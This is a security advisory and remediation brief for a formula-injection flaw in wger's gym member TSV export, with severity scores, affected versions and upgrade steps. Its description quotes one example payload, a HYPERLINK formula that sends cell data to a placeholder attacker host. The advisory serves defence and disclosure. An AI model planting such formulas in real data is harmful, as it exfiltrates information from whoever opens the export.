wger: CSV/TSV formula injection in gym member export (first_name/last_name)

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

7.4 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS

• CVE-2026-86257: 0.28% estimated exploitation activity in the next 30 days; percentile 20.23 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary The gym member TSV export endpoint in wger writes firstname and lastname profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution. Details File: wger/gym/views/export.py, approximately line 73 Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their firstname to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating…

Published by the source

6 May 2026, 19:48 UTC

Last modified by the source

10 Sep 2026, 03:51 UTC

Source last checked

26 Oct 2026, 13:40 UTC

1. Revision 2 · amended · 26 Oct 2026

   Amended from ghsa record GHSA-xq9m-hmp9-fw87

2. Revision 1 · created · 24 Oct 2026

   Published from osv record GHSA-xq9m-hmp9-fw87

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# Patch Next advisory brief: CVE-2026-86257

Advisory: wger: CSV/TSV formula injection in gym member export (first_name/last_name)
IDs: CVE-2026-86257, GHSA-xq9m-hmp9-fw87
Record: https://patchnext.com/advisories/cve-2026-86257 (revision 2, source checked 26 Oct 2026, 13:40 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: High (CVSS 7.4)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: wger 2.6. A vendor fix does not mean a deployment is fixed.

## Affected components
- PyPI wger: affected <= 2.5; fixed in 2.6

## Suggested inspection (read-only)
- `python -m pip show wger`: prints the installed version. Run with the environment that serves production active.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on wger.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://osv.dev/vulnerability/GHSA-xq9m-hmp9-fw87 (OSV record GHSA-xq9m-hmp9-fw87 lists affected ranges: PyPI wger >=0 <2.6 (fixed))
- Verified: https://github.com/advisories/GHSA-xq9m-hmp9-fw87 (GitHub-reviewed advisory GHSA-xq9m-hmp9-fw87 lists affected ranges: PyPI wger >=0 <=2.5)

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